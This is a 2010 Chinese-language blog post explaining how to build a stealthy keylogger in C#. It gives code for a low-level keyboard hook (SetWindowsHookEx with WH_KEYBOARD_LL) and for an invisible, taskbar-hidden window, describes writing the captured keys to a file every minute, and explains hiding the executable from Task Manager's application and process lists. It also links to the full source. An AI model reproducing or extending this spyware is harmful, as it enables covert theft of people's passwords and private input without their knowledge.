使用C#做键盘记录器

2010-10-31 15:54 by hackerzhou

代码放到SVN上了,地址:http://hackerzhou.googlecode.com/svn/trunk/CSharp/KeyLogger/

主要思路就是通过WH_KEYBOARD_LL这个LowLevel的钩子来获取用户输入(用WH_KEYBOARD不行),但是作用于仅限于WinForm程序,如果新建一个控制台程序就不能通过这个钩子获取用户键盘输入。解决方法很简单,隐藏掉这个Form就行了

this.ClientSize = new System.Drawing.Size(116, 0);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
this.Opacity = 0D;
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;

设置钩子的方法网上有介绍,大致就是引入user32.dll进行钩子的操作

//安装钩子的API
[DllImport("user32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall
, SetLastError = true)]
private static extern int SetWindowsHookEx(int idHook,HookProc lpfn,IntPtr hMod,int dwThreadId);

//移除钩子的API,程序关闭的时候不要忘了移除钩子
[DllImport("user32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall
, SetLastError = true)]
private static extern int UnhookWindowsHookEx(int idHook);

//记录好键盘输入之后还得把这个事件传递到下一个handler中去,否则就视为取消了这个事件
[DllImport("user32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall)]
private static extern int CallNextHookEx(int idHook,int nCode,int wParam,IntPtr lParam);

//用这种方式得到ModuleHandle比较保险
[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

//然后设定键盘事件的委托
private delegate int HookProc(int nCode, int wParam, IntPtr lParam);
private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
    bool handled = false;
    //Do your job...
    if (handled)
        return 1;
    else
        return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

//安装钩子的代码
KeyboardHookProcedure = new HookProc(KeyboardHookProc);
hKeyboardHook = SetWindowsHookEx(
                    WH_KEYBOARD_LL,
                    KeyboardHookProcedure,
                    GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName),
                    0);

//移除钩子的代码
UnhookWindowsHookEx(hKeyboardHook);

在Form1.cs中我用了一个StringBuffer,每隔一分钟写入当前缓冲到文件中。进行到这一步,大家发现这个键盘记录器已经初具功能了。但是我还想做点隐藏,比如,从任务管理器(taskmgr)中的“应用程序”和“进程”两项隐藏掉exe。在网上发现了一个很土但是能凑效的方法,就是捕获taskmgr进程的窗体,从应用程序和进程这两个标签页中的listview中删除我们指定的exe。大家可以看HideTaskmgrList这个类,我改了一下,原先作者的版本只能隐藏进程,但是在应用程序这里还是能发现蛛丝马迹,我模仿着处理了应用程序这个列表。不过,这个土方法只能使用taskmgr这个进程,如果在命令行下运行tasklist还是会被现出原形。

本文基于 署名 2.5 中国大陆 许可协议发布,欢迎转载,演绎或用于商业目的,但是必须保留本文的署名 hackerzhou 并包含 原文链接
本文暂时还没有评论,你可以抢沙发哟。

发表评论